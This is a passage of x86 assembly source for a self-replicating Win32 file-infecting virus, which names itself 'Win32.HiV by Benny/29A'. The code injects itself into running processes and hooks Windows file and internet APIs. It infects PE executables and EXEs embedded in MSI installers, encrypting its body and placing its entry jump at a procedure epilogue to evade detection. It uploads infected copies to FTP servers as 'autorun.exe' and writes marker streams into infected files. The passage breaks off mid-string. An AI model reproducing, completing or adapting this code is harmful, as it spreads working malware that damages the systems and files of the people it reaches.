;yeah, dont infect it again mov byte ptr [edi.MZ_res2],'H'+'I'+'V' ;mark as already infected push PAGE_EXECUTE_READWRITE push MEM_RESERVE or MEM_COMMIT push virus_size push 0 ;allocate enough space push ebx ;for virus code in call [ebp + a_VirtualAllocEx - gdelta] ;victim process test eax,eax je end_K32_dealloc ;quit if error mov [ebp + virus_base - gdelta],eax ;save the address ;now we will try to hook some APIz of K32 push crcResCount pop ecx ;count of APIz to hook make_res: pushad ;store all registers mov eax,edi lea esi,[ebp + crcRes - gdelta + (ecx*4)-4] ;get API call get_api ;get address of API test eax,eax je end_res ;quit if error push eax mov edx,[ebp + posRes - gdelta + (ecx*4)-4] ;get ptr to variable which sub eax,[ebp + k32_copy - gdelta] ;holds the address to old add eax,[ebp + k32_base - gdelta] ;API mov [edx],eax ;store address there pop eax ;get address to EAX pushad ;store all registers xchg eax,esi ;EAX to ESI mov edi,[ebp + oldRes - gdelta + (ecx*4)-4] ;save old 5 bytes movsd ;4 bytes movsb ;1 byte popad ;restore all registers ;overwrite first 5 bytes of API code by instruction ;address = dest_address - (jmp_address+5) push eax sub eax,[ebp + k32_copy - gdelta] ;calculate api_hooker address add eax,[ebp + k32_base - gdelta] ;... mov esi,eax ;... mov eax,0 ;base address of virus virus_base = dword ptr $-4 ;in memory add eax,[ebp + newRes - gdelta + (ecx*4)-4] ;add address of api_hooker sub eax,5 ;substract the size of JMP sub eax,esi ;substract with dest_address pop esi mov byte ptr [esi],0E9h ;write JMP opcode mov [esi+1],eax ;write JMP address end_res:popad ;restore all registers loop make_res ;ECX-timez lea edx,[ebp + tmp - gdelta] push edx push virus_size lea edx,[ebp + Start - gdelta] push edx push dword ptr [ebp + virus_base - gdelta] push ebx call [ebp + a_WriteProcessMemory - gdelta] ;write virus to allocated memory dec eax jne end_K32_dealloc ;quit if error ;now we will change protection of K32 memory so we will be able to ;overwrite it with infected version of K32 lea edx,[ebp + tmp - gdelta] push edx push PAGE_EXECUTE_READWRITE push dword ptr [ebp + k32_size - gdelta] push dword ptr [ebp + k32_base - gdelta] push ebx call [ebp + a_VirtualProtectEx - gdelta] ;now we will be able to dec eax ;rewrite the K32 with jne end_K32_dealloc ;infected one lea edx,[ebp + tmp - gdelta] push edx push dword ptr [ebp + k32_size - gdelta] push dword ptr [ebp + k32_copy - gdelta] push dword ptr [ebp + k32_base - gdelta] push ebx call [ebp + a_WriteProcessMemory - gdelta] ;rewrite K32 end_K32_dealloc: push MEM_DECOMMIT push dword ptr [ebp + k32_size - gdelta] push 12345678h k32_copy = dword ptr $-4 call [ebp + a_VirtualFree - gdelta] ;now we have to decommit ;our memory push MEM_RELEASE push 0 push dword ptr [ebp + k32_copy - gdelta] call [ebp + a_VirtualFree - gdelta] ;and de-reserve, now our ;buffer doesnt exist end_K32_patching: push ebx call [ebp + a_CloseHandle - gdelta] ;close the handle of process jmp pid_loop ;and look for another one searchThread EndP ;new FindFirstFileA hooker newFindFirstFileA Proc pushad ;store all registers push eax call @oldFFA ;get pointer to saved bytes... oldFindFirstFileA: db 5 dup (?) ;saved 5 bytes @oldFFA:call @newFFA db 5 dup (?) ;get pointer to buffer... @newFFA:pop edi mov [esp+4],edi mov esi,0 ;address of FindFirstFileA in memory posFindFirstFileA = dword ptr $-4 common_end: push esi ;copy to movsd ;buffer movsb pop edi pop esi push edi movsd ;restore previous 5 bytes of API code movsb sub edi,5 mov esi,[esp.cPushad+16] push esi push dword ptr [esp.cPushad+16] call edi ;call API inc eax je end_ffa dec eax call CheckInfect ;no error, try to infect found file end_ffa:mov [esp.Pushad_eax+8],eax pop edi pop esi movsd ;write back movsb popad ;restore all registers ret 8 ;and quit with 2 params on the stack newFindFirstFileA EndP ;new FindNextFileA hooker newFindNextFileA Proc pushad ;store all registers push eax call @oldFNA ;get pointer to saved bytes... oldFindNextFileA: db 5 dup (?) @oldFNA:call @newFNA ;get pointer to buffer... db 5 dup (?) @newFNA:pop edi mov [esp+4],edi mov esi,0 ;address of FindNextFileA in memory posFindNextFileA = dword ptr $-4 jmp common_end ;optimized :) newFindNextFileA EndP ;this procedure is used by API hookerz - it can create WFD structure and call ;CheckInfect procedure (this proc needs WFD struct) xCheckInfect Proc call $+5 xdelta: pop ebp ;get delta offset lea esi,[ebp + WFD - xdelta] push esi ;WFD struct push dword ptr [esp.cPushad+16] ;ptr to filename call [ebp + a_FindFirstFileA - xdelta] ;find file inc eax je end_xci ;quit if error dec eax call CheckInfect ;infect file push eax call [ebp + a_FindClose - xdelta] ;close search handle end_xci:ret ;and quit xCheckInfect EndP ;new CopyFileA hooker newCopyFileA Proc push eax ;reserve space in stack for ret address pushad ;store all registers call xCheckInfect ;check and infect file call @oldCFA ;get pointer to saved bytes... oldCopyFileA: db 5 dup (0) ;saved 5 bytes @oldCFA:pop esi ;...to ESI mov edi,0 ;address of CopyFileA in memory posCopyFileA = dword ptr $-4 mov [esp.cPushad],edi ;store the address to stack movsd ;restore 5 bytes movsb popad ;restore all registers ret ;jump to previous API newCopyFileA EndP ;new MoveFileA hooker newMoveFileA Proc push eax ;reserve space in stack for ret address pushad ;store all registers call xCheckInfect ;check and infect file call @oldMFA ;get pointer to saved bytes... oldMoveFileA: db 5 dup (0) ;saved 5 bytes @oldMFA:pop esi ;...to ESI mov edi,0 ;address of MoveFileA in memory posMoveFileA = dword ptr $-4 mov [esp.cPushad],edi ;store the address to stack movsd ;restore 5 bytes movsb popad ;restore all registers ret ;jump to previous API newMoveFileA EndP ;new CreateFileA handler newCreateFileA Proc push eax ;reserve space in stack for ret address pushad ;store all registers mov ecx,12345678h ;semaphore cfa_patch = dword ptr $-4 jecxz no_cfa ;dont infect file in infection stage call xCheckInfect ;check and infect file no_cfa: call @oldCA ;get pointer to saved bytes... oldCreateFileA: db 5 dup (0) ;saved 5 bytes @oldCA: pop esi ;...to ESI mov edi,0 ;address of CreateFileA in memory posCreateFileA = dword ptr $-4 mov [esp.cPushad],edi ;store the address to stack movsd ;restore 5 bytes movsb popad ;restore all registers ret ;jump to previous API newCreateFileA EndP ;new ExitProcess handler newExitProcess Proc pushad ;store all registers call edelta ;get delta offset edelta: pop ebp ep_loop:mov ecx,[ebp + ep_patch - edelta] ;wait for SearchThread jecxz ep_loop ;termination... popad ;restore all registers j_api oldExitProcess ;and call the original API newExitProcess EndP ;new InternetConnectA hooker newInternetConnectA Proc fld dword ptr [esp] ;store return address on copro-stack call ICAjmp ;call previous API push eax ;make space on the stack fstp dword ptr [esp] ;move return address from copro-stack to stack test eax,eax ;error? jne nICA ;no, we are connected ret ;yeah, quit nICA: pushad ;store all registers call $+5 igd: pop ebp ;get delta offset to EBP xchg eax,ebx push MAX_PATH lea esi,[ebp + reg_buffer - igd] push esi push 0 ;get path+filename of current process call [ebp + a_GetModuleFileNameA - igd] lea esi,[ebp + szInet+5 - igd] push esi ;get base of WININET.DLL call [ebp + a_GetModuleHandleA - igd] @pushsz 'FtpPutFileA' push eax ;get address of FtpPutFileA API call [ebp + a_GetProcAddress - igd] xchg eax,ecx jecxz endICA ;quit if error ;now we will try to transfer infected file to FTP server push 0 ;context push 2 ;binary transfer @pushsz 'autorun.exe' ;dest filename push esi ;source filename (our process) push ebx ;handle to inet connection call ecx ;call FtpPutFileA endICA: popad ;restore all registers ret ;and quit ICAjmp: pop eax ;get code address mov [esp],eax ;save it on the stack j_api oldInternetConnectA ;and call the previous API newInternetConnectA EndP unload_lib: push edi call [ebp + a_FreeLibrary - gd] ;this procedure can check the file and infect it ;input: ESI - WFD record CheckInfect Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame call gd gd: pop ebp ;get delta offset to EBP mov [ebp + cut_or_not - gd],ebp ;set flag - truncate file back test [esi.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY jne end_seh ;must not be directory xor edx,edx cmp [esi.WFD_nFileSizeHigh],edx jne end_seh ;discard huge files mov edx,[esi.WFD_nFileSizeLow] cmp edx,4000h ;discard small files jb end_seh mov [ebp + file_size - gd],edx ;save file size lea ebx,[esi.WFD_szFileName] pushad ;store all registers xor esi,esi ;nulify register @pushsz 'SFC' call [ebp + a_LoadLibraryA - gd] ;load SFC.dll library test eax,eax je q_sfc ;quit if error xchg eax,edi @pushsz 'SfcIsFileProtected' push edi call [ebp + a_GetProcAddress - gd] test eax,eax ;get the pointer to API je un_sfc push ebx ;filename push 0 ;reserved call eax ;call SfcIsFileProtected API test eax,eax je un_sfc inc esi ;set variable to 1 if the file is protected un_sfc: call unload_lib ;unload SFC.dll q_sfc: mov [esp.Pushad_eax],esi ;save it to EAX on the stack popad ;restore all registerz test eax,eax jne end_seh ;quit if file is protected (EAX=0) ; cmp [ebx],'dcba' ;for debug version ; jne end_seh ;infect only "abcd" filez push FILE_ATTRIBUTE_NORMAL push ebx call [ebp + a_SetFileAttributesA - gd] dec eax ;blank file attributes jne end_seh call resCreate_FileA ;open file inc eax je end_attr ;quit if error dec eax mov [ebp + hFile - gd],eax ;save handle mov ebx,[esi.WFD_nFileSizeLow] add ebx,virus_size ;new file size to EBX mov [ebp + mapped_file_size - gd],ebx cdq push edx push ebx push edx push PAGE_READWRITE push edx push eax call [ebp + a_CreateFileMappingA - gd] xchg eax,ecx ;create file mapping object jecxz end_cfile ;quit if error mov [ebp + hMapFile - gd],ecx ;save handle push ebx push 0 push 0 push FILE_MAP_WRITE push ecx call [ebp + a_MapViewOfFile - gd] xchg eax,ecx ;map view of file to our address space jecxz end_mfile ;quit if error mov [ebp + lpFile - gd],ecx ;save handle jmp n_open ;and continue end_file: popad push 12345678h lpFile = dword ptr $-4 ;unmap view of file call [ebp + a_UnmapViewOfFile - gd] end_mfile: push 12345678h hMapFile = dword ptr $-4 ;close file mapping object call [ebp + a_CloseHandle - gd] end_cfile: mov ecx,12345678h ;infection succeed? cut_or_not = dword ptr $-4 jecxz no_cut ;yeah, dont truncate file push 0 ;no, truncate file back push 0 push dword ptr [esi.WFD_nFileSizeLow] push dword ptr [ebp + hFile - gd] call [ebp + a_SetFilePointer - gd] push dword ptr [ebp + hFile - gd] call [ebp + a_SetEndOfFile - gd] no_cut: lea eax,[esi.WFD_ftLastWriteTime] push eax lea eax,[esi.WFD_ftLastAccessTime] push eax lea eax,[esi.WFD_ftCreationTime] push eax ;set back file time push dword ptr [ebp + hFile - gd] call [ebp + a_SetFileTime - gd] mov ecx,[ebp + cut_or_not - gd] jecxz ntfs_stuff ;try to compress file and create new stream close_file: push 12345678h hFile = dword ptr $-4 ;close file call [ebp + a_CloseHandle - gd] end_attr: lea eax,[esi.WFD_szFileName] push [esi.WFD_dwFileAttributes] push eax ;set back file attributes call [ebp + a_SetFileAttributesA - gd] end_seh:@SEH_RemoveFrame ;remove SEH frame popad ;restore all registers ret ;and quit from procedure ;this procedure will try to NTFS-compress infected file and add new stream ntfs_stuff Proc push 0 lea eax,[ebp + tmp - gd] push eax push 0 push 0 push 4 call in_buf dd 1 ;default compression in_buf: push 09C040h ;compress code push dword ptr [ebp + hFile - gd] call [ebp + a_DeviceIoControl - gd] ;compress infected file! lea esi,[esi.WFD_szFileName] ;get ptr to filename push esi @endsz dec esi mov edi,esi mov eax,'VIH:' stosd ;add there ":HIV"\0 xor al,al stosb pop ebx mov byte ptr [ebp + cfa_flagz - gd],CREATE_ALWAYS call resCreate_FileA ;create new stream mov byte ptr [ebp + cfa_flagz - gd],OPEN_EXISTING inc eax je end_seh ;quit if error dec eax xchg eax,ebx push 0 lea eax,[ebp + tmp - gd] push eax push szMsg-1-p_msg lea eax,[ebp + p_msg - gd] push eax push ebx call [ebp + a_WriteFile - gd] ;copy message to new stream push ebx call [ebp + a_CloseHandle - gd] ;close stream jmp close_file ;and close whole file ntfs_stuff EndP ;this procedure can search for EXE files inside MSIs mz_search Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame r_byte: movzx eax,word ptr [ecx] ;get byte add eax,-"ZM" ;is it MZ file? jne n_byte ;no, explore next bytes mov ebx,[ecx.MZ_lfanew] ;get to PE header add ebx,ecx ;... mov eax,[ebx] ;get DWORD add eax,-"EP" ;is it PE file? jne n_byte ;no, explore next bytes end_mz: mov [esp.Pushad_ebx+8],ebx ;store PE location mov [esp.Pushad_ecx+8],ecx ;store MZ location jmp end_seh ;and quit e_mz: xor ecx,ecx ;no file found... jmp end_mz ;quit n_byte: inc ecx ;move to next byte jmp r_byte ;explore it mz_search EndP check_msi: cmp [ecx],0E011CFD0h ;is it MSI signature? jne end_file ;no, quit cmp [ecx+4],0E11AB1A1h ;is it MSI signature? jne end_file ;no, quit parse_msi: call mz_search ;search for EXE file inside MSI test ecx,ecx je end_file ;no files found, quit... and dword ptr [ebp + pe_or_msi - gd],0 push ecx ;set flag (EXE inside MSI) and store ECX call m_open ;analyse and infect file pop ecx ;restore ECX c_msi: inc ecx ;try next EXE file jmp parse_msi ;inside MSI... n_open: pushad ;store all registers mov [ebp + pe_or_msi - gd],ecx ;set flag (normal EXE) m_open: movzx eax,word ptr [ecx] ;get word add eax,-"ZM" ;is it MZ? jne check_msi ;no, quit cmp byte ptr [ecx.MZ_res2],'H'+'I'+'V' ;is it already infected? je end_file ;yeah, quit mov ebx,ecx add ebx,[ecx.MZ_lfanew] ;at this point: ; EBX - start of PE header ; ECX - start of MM file (MZ header) ; ESI - WIN32_FIND_DATA record mov eax,[ebx] ;get DWORD add eax,-"EP" ;is it PE file? jne end_file ;no, quit cmp word ptr [ebx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386 jne end_file ;must be 386+ mov eax,dword ptr [ebx.NT_FileHeader.FH_Characteristics] not al test ax,IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL jne end_file ;must not be DLL file movzx edx,word ptr [ebx.NT_FileHeader.FH_NumberOfSections] cmp edx,4 jb end_file ;must be 4+ dec edx imul eax,edx,IMAGE_SIZEOF_SECTION_HEADER movzx edx,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader] lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4] add edi,ebx ;at this point: ; EBX - start of PE header ; ECX - start of MZ header ; EDX - start of host (.)code ; ESI - WFD record ; EDI - start of last section mov byte ptr [ecx.MZ_res2],'H'+'I'+'V';mark as already infected mov eax,12345678h pe_or_msi = dword ptr $-4 test eax,eax ;do we infect MSI? je infect_msi ;yeah, infect MSI ;no, infect normal EXE mov [ebp + file_base - gd],ecx ;save base of mapped file ;EPO search engine pushad ;store all registers pushad ;... lea edx,[edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4] mov esi,[edx.SH_PointerToRawData] ;get to start of .CODE section add esi,ecx ;make RAW pointer mov ecx,[edx.SH_SizeOfRawData] ;get the size of .CODE section l_epo: add [ebp + enc_key - gd],eax;generate encryption key lodsd ;get byte cmp eax,0C95B5E5Fh ;is it procedure epilog code? je ll_epo ;yeah, check the last byte dec esi ;no, decrement pointerz dec esi ;... dec esi ;... loop l_epo ;search for next instructionz jmp end_epo ;no epilog found, quit ll_epo: lodsb ;get the last byte cmp al,0C3h ;is it RET instruction? je got_epo ;yeah, we have found place for EPO sub esi,4 ;no, decrement pointerz dec ecx ;and counter jmp l_epo ;and try again got_epo:mov eax,[edi.SH_VirtualAddress] add eax,[edi.SH_SizeOfRawData] ;calculate RVA of virus begining mov ecx,esi sub ecx,[esp.Pushad_ecx] sub ecx,[edx.SH_PointerToRawData] add ecx,[edx.SH_VirtualAddress] ;calculate RVA of JMP opcode or dword ptr [edx.SH_Characteristics],IMAGE_SCN_MEM_WRITE ;set WRITE flag to .CODE section mov edi,esi mov esi,ecx sub esi,5 sub edi,5 add esi,[ebx.NT_OptionalHeader.OH_ImageBase] sub eax,ecx ;calculate destination address push eax mov [ebp + epo_pos - gd],esi ;store EPO address mov al,0E9h ;store JMP opcode stosb pop eax stosd ;store JMP address end_epo:popad ;restore all registers lea eax,[ebp + image_base - gd] ;get pointer to variable push dword ptr [eax] ;save variable to the stack mov ecx,[ebx.NT_OptionalHeader.OH_ImageBase] mov [eax],ecx ;save new image base of host lea esi,[ebp + Start - gd] ;get start of virus to ESI mov ecx,end_virus-Start ;size of virus code mov eax,[edi.SH_PointerToRawData] ;get ptr to last section add eax,[edi.SH_SizeOfRawData] ;add size of section add eax,[esp.Pushad_ecx+4] ;add address of mapped file xchg eax,edi ;save it to EDI push edi ;store it to the stack mov ebx,12345678h enc_key = dword ptr $-4 mov [ebp + decr_key - gd],ebx ;save encryption key and dword ptr [ebp + enc_key - gd],0;nulify encryption key variable inc dword ptr [ebp + generation_count - gd] ;increment number of generation call mem_alloc ;allocate one buffer mov [ebp + buffer - gd],eax ;save pointer call mem_alloc ;allocate another buffer mov [ebp + file_buffer - gd],eax ;save pointer mov esi,12345678h ;get size of file file_size = dword ptr $-4 mov ecx,8192 sub esi,ecx add esi,12345678h ;move to the EOF-8192 file_base = dword ptr $-4 mov edi,12345678h ;EDI = allocated buffer file_buffer = dword ptr $-4 rep movsb ;move there last 8192 bytes lea esi,[ebp + encrypted - gd] ;start of encrypted part of virus mov edi,12345678h buffer = dword ptr $-4 push edi mov ecx,(end_virus-encrypted+3)/4 push ecx ;copy encrypted part of virus rep movsd ;to the buffer pop ecx pop esi mov edi,esi encrpt: lodsd xor eax,ebx ;encrypt virus in the buffer stosd loop encrpt pop edi lea esi,[ebp + Start - gd] push encrypted-Start pop ecx ;copy decryptor to the end of rep movsb ;last section mov esi,[ebp + buffer - gd] mov ecx,8192-(encrypted-Start) rep movsb ;copy the encrypted part of virus mov ecx,8192 mov esi,[ebp + file_buffer - gd] rep movsb ;and last 8192 of host code dec dword ptr [ebp + generation_count - gd] ;decrement number of gen. pop dword ptr [ebp + image_base - gd] ;restore image base popad ;restore all registers mov esi,[ebp + buffer - gd] call mem_dealloc ;deallocate buffer mov esi,[ebp + file_buffer - gd] call mem_dealloc ;... or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE ;set flagz of the last section add dword ptr [edi.SH_VirtualSize],virus_size mov eax,[edi.SH_VirtualSize] mov ecx,[ebx.NT_OptionalHeader.OH_SectionAlignment] xor edx,edx div ecx test edx,edx je end_m1 inc eax mul ecx mov [edi.SH_VirtualSize],eax ;new virtual size end_m1: push dword ptr [edi.SH_SizeOfRawData] add dword ptr [edi.SH_SizeOfRawData],virus_size mov eax,[edi.SH_SizeOfRawData] mov ecx,[ebx.NT_OptionalHeader.OH_FileAlignment] xor edx,edx div ecx test edx,edx je end_m2 inc eax end_m2: mul ecx pop edx sub eax,edx add [ebx.NT_OptionalHeader.OH_SizeOfImage],eax test dword ptr [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA je rs_ok ;new size of raw data add [ebx.NT_OptionalHeader.OH_SizeOfInitializedData],eax ;and size of initialized data rs_ok: cmp dword ptr [ebx.NT_OptionalHeader.OH_CheckSum],0 je no_csum ;no need to calculate new checksum @pushsz 'Imagehlp' @imghlp:call [ebp + a_LoadLibraryA - gd] test eax,eax ;load IMAGEHLP.DLL je no_csum ;quit if error xchg eax,edi @pushsz 'CheckSumMappedFile' push edi call [ebp + a_GetProcAddress - gd] test eax,eax ;get address of CheckSumMappedFile API je un_csum ;quit if error lea ecx,[ebx.NT_OptionalHeader.OH_CheckSum] push ecx ;where to store new checksum call $+9 dd ? ;old checksum push 12345678h ;size of infected file mapped_file_size = dword ptr $-4 push dword ptr [ebp + lpFile - gd] call eax ;calculate new checksum un_csum:call unload_lib ;unload library no_csum:and dword ptr [ebp + cut_or_not - gd],0 jmp end_file ;infection succeed, quit... ;this procedure can infect EXE file inside MSI infect_msi: ;at this point: ; EBX - start of PE header ; ECX - start of MZ header ; EDX - start of host (.)code ; ESI - WFD record ; EDI - start of last section mov [ebp + r2rp - gd],ebx ;set !0 - victim program push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] mov eax,ecx call rva2raw ;get base of code pop esi mov edi,esi mov ecx,[ebx.NT_OptionalHeader.OH_SizeOfCode] ;size of code include cse.inc ;find cave inside EXE file push edi mov edi,[edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4] cmp edi,'xet.' ;is the first section ".text"? je cc_msi cmp edi,'EDOC' ;or ".CODE"? je cc_msi pop edi ;no, quit ret cc_msi: pop edi mov ecx,[ebx.NT_OptionalHeader.OH_AddressOfEntryPoint] mov eax,ecx sub eax,[ebx+edx+SH_VirtualAddress+IMAGE_SIZEOF_FILE_HEADER+4] ;get entrypoint RVA to EAX push eax mov eax,ecx mov [ebp + msi_entrypoint - gd],eax ;save old entrypoint mov eax,[ebx.NT_OptionalHeader.OH_ImageBase] add [ebp + msi_entrypoint - gd],eax ;in RAW format pop eax push esi sub esi,edi sub esi,eax ;set new entrypoint add [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint],esi pop edi lea esi,[ebp + msi_start - gd] mov ecx,msi_end-msi_start rep movsb ;copy there MSI bug-code ret ;end quit no_cave_found: popad ;no cave inside EXE file found, ret ;restore all registers and quit CheckInfect EndP ;this procedure can allocate memory (8192 bytes) mem_alloc: push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push 8192 push 0 call [ebp + a_VirtualAlloc - gd] ret ;this procedure can deallocate already memory (8192 bytes) mem_dealloc: push MEM_DECOMMIT push 8192 push esi call [ebp + a_VirtualFree - gd] push MEM_RELEASE push 0 push esi call [ebp + a_VirtualFree - gd] ret ;this procedure can retrieve API addresses get_apis Proc pushad @SEH_SetupFrame lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs lea edi,[ebp + a_apis - gdelta] ;where to store API addresses push crc32c ;how many APIs do we need pop ecx ;in ECX... g_apis: push eax ;save K32 base call get_api stosd ;save address test eax,eax pop eax je q_gpa ;quit if not found add esi,4 ;move to next CRC32 value loop g_apis ;search for API addresses in a loop jmp end_seh ;and quit q_gpa: @SEH_RemoveFrame popad pop eax jmp end_host ;quit if error get_apis EndP a_go: inc esi ;jump over alignments inc esi pushad ;store all registers xor edx,edx ;zero EDX xchg eax,esi push 2 pop ecx div ecx test edx,edx je end_align ;no alignments needed inc eax end_align: mul ecx ;align API name mov [esp.Pushad_esi],eax popad ;restore all registers ret ;and quit from procedure ;this procedure can patch API calls (both of MS and Borland style) patch_IT Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame call itDlta itDelta:db 0b8h itDlta: pop ebp mov [ebp + gmh - itDelta],eax ;save it mov ebx,[eax.MZ_lfanew] ;get to PE header add ebx,eax ;make pointer raw push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] call rva2raw pop edx sub edx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR push edi n_dll: pop edi add edx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR mov ecx,12345678h inet_k32 = dword ptr $-4 jecxz szInet @getsz 'KERNEL32.dll',edi jmp o_inet szInet: @getsz 'WININET.dll',edi o_inet: mov esi,[edx] test esi,esi je endPIT sdll: push dword ptr [edx.ID_Name] call rva2raw pop esi push edi cmpsd ;is it our library? jne n_dll cmpsd jne n_dll cmpsd jne n_dll pop edi xor ecx,ecx ;zero counter push dword ptr [edx.ID_OriginalFirstThunk] ;get first record call rva2raw pop esi push dword ptr [esi] ;get first API name call rva2raw pop esi pit_align: call a_go push esi ;store pointer @endsz ;get to the end of API name mov edi,esi sub edi,[esp] ;move size of API name to EDI pop esi ;restore pointer push eax ;store EAX call CRC32 ;calculate CRC32 of API name cmp eax,[esp.cPushad+10h] ;check, if it is requested API je a_ok ;yeah, it is inc ecx mov eax,[esi] ;check, if there is next API test eax,eax ;... pop eax ;restore EAX jne pit_align ;yeah, check it jmp endPIT ;no, quit a_ok: pop eax ;restore EAX push dword ptr [edx.ID_FirstThunk] ;get address to IAT call rva2raw pop edx mov eax,[edx+ecx*4] ;get address mov [esp.Pushad_eax+8],eax ;and save it to stack pushad ;store all registers mov eax,0 ;get base address of program gmh = dword ptr $-4 mov ebx,[eax.MZ_lfanew] add ebx,eax ;get PE header ;get base of code push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] call rva2raw ;normalize pop esi ;to ESI mov ecx,[ebx.NT_OptionalHeader.OH_SizeOfCode] pushad ;and its size call p_var dd ? p_var: push PAGE_EXECUTE_READWRITE push ecx push esi ;allow to modify protected code call [ebp + a_VirtualProtect - itDelta] popad sJMP: mov dl,[esi] ;get byte from code inc esi cmp dl,0FFh ;is it JMP/CALL? jne lJMP ;check, if it is cmp byte ptr [esi],25h ;JMP DWORD PTR [XXXXXXXXh] je gIT1 cmp byte ptr [esi],15h ;or CALL DWORD PTR [XXXXXXXXh] jne lJMP mov dl,0E8h jmp gIT2 gIT1: mov dl,0E9h gIT2: mov [ebp + j_or_c - itDelta],dl ;change opcode mov edi,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] add edi,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size] push ecx mov ecx,[ebx.NT_OptionalHeader.OH_ImageBase] add edi,ecx push ebp mov ebp,[esi+1] sub ebp,ecx push ebp call rva2raw pop ebp sub ebp,eax add ebp,ecx sub edi,ebp pop ebp pop ecx js lJMP ;check, if it is correct address push ecx push edx ;store EDX mov edx,[esp.Pushad_ecx+8] ;get counter imul edx,4 ;multiply it by 4 add edx,[esp.Pushad_edx+8] ;add address to IAT to ptr sub edx,eax mov ecx,[esi+1] sub ecx,[ebx.NT_OptionalHeader.OH_ImageBase] push ecx call rva2raw pop ecx sub ecx,eax cmp edx,ecx ;is it current address pop edx pop ecx ;restore EDX jne sJMP ;no, get next address mov eax,[esi+1] mov [esp.cPushad.Pushad_eax+8],eax ;store register to stack mov [esp.Pushad_esi],esi ;for l8r use popad ;restore all registers mov byte ptr [esi-1],0E9h ;build JMP or CALL j_or_c = byte ptr $-1 mov ebx,[esi+1] mov eax,[esp.cPushad+10h] ;get address add eax,[ebp + gmh - itDelta] sub eax,esi ;- current address sub eax,4 ;+1-5 mov [esi],eax ;store built jmp instruction mov byte ptr [esi+4],90h xchg eax,ebx jmp endIT ;and quit lJMP: dec ecx jecxz endPIT-1 jmp sJMP ;search in a loop popad ;restore all registers endPIT: xor eax,eax mov [esp.Pushad_eax+8],eax endIT: @SEH_RemoveFrame ;remove SEH frame popad ;restore all registers ret 8 ;and quit patch_IT EndP ;this procedure can converting RVAs to RAW pointers rva2raw:pushad ;store all registers mov ecx,12345678h ;0 if actual host program r2rp = dword ptr $-4 jecxz nr2r mov edx,[esp.cPushad+4] movzx ecx,word ptr [ebx.NT_FileHeader.FH_NumberOfSections] movzx esi,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader] lea esi,[esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4] n_r2r: mov edi,[esi.SH_VirtualAddress] ;search inside section add edi,[esi.SH_VirtualSize] ;headerz for matches cmp edx,edi jb c_r2r add esi,IMAGE_SIZEOF_SECTION_HEADER loop n_r2r popad ;restore all registers ret ;and quit nr2r: add [esp.cPushad+4],eax popad ;restore all registers ret ;and quit c_r2r: add eax,[esi.SH_PointerToRawData] ;correct RVA to RAW pointer add eax,edx sub eax,[esi.SH_VirtualAddress] mov [esp.cPushad+4],eax ;save it popad ret ;this procedure can open file - used in resident mode ;input: EBX - filename to open resCreate_FileA Proc and dword ptr [ebp + cfa_patch - gd],0 xor eax,eax push eax push FILE_ATTRIBUTE_NORMAL db 6ah ;PUSH SHORT cfa_flagz db OPEN_EXISTING push eax push eax push GENERIC_READ or GENERIC_WRITE push ebx call [ebp + a_CreateFileA - gd] mov [ebp + cfa_patch - gd],ebp ret resCreate_FileA EndP ;this procedure can open file - used in non-resident mode ;input: EBX - filename to open Create_FileA Proc xor eax,eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_ALWAYS push eax push eax push GENERIC_READ or GENERIC_WRITE push ebx call [ebp + a_CreateFileA - gdelta] ret Create_FileA EndP ;this procedure can create file mapping object - used in non-resident mode ;input: EAX - opened handle of file Create_FileMappingA Proc cdq push edx push edx push edx push PAGE_READWRITE push edx push eax call [ebp + a_CreateFileMappingA - gdelta] ret Create_FileMappingA EndP ;this procedure can map view of file - used in non-resident mode ;input: ECX - opened handle of file mapping object Map_ViewOfFile Proc push 0 push 0 push 0 push FILE_MAP_WRITE push ecx call [ebp + a_MapViewOfFile - gdelta] ret Map_ViewOfFile EndP ;this procedure can convert number to ASCII decimal format ;input: EAX - number ;output: [EDI] - stored ASCII number Num2Ascii Proc push esi push edi lea edi,[ebp + dec_buff - gdelta] push 10 pop ecx g_str: xor edx,edx div ecx add edx,'0' xchg eax,edx stosb xchg eax,edx test eax,eax jne g_str pop esi xchg esi,edi dec esi cpy_num:std lodsb cld stosb cmp al,11h jne cpy_num dec edi xor al,al stosb pop esi ret Num2Ascii EndP ;this is MSI loader - virus places this procedure into EXE files inside MSIs msi_start Proc pushad call mdelta mdelta: pop ebp ;get delta offset call get_base ;get base of K32 test eax,eax je end_msi push eax call crc32m1 dd 04134D1ADh ;LoadLibraryA dd 0AFDF191Fh ;FreeLibrary dd 0FFC97C1Fh ;GetProcAddress crc32m1:pop esi call get_api ;get addresses of these APIs xchg eax,ecx pop eax test ecx,ecx je end_msi push eax add esi,4 call get_api ;... xchg eax,edi test edi,edi pop eax je end_msi add esi,4 push eax call get_api ;... xchg eax,edx test edx,edx pop eax je end_msi push edx @pushsz 'USER32' call ecx ;load USER32.DLL library xchg eax,esi test esi,esi pop edx je end_msi @pushsz 'MessageBoxA' push esi call edx ;get address of MessageBoxA API xchg eax,ecx test ecx,ecx je freelib push 1000h @pushsz '[Win32.HiV] by Benny/29A' szTitle:call szMsg p_msg: db 'This cell has been infected by HIV virus, generation: 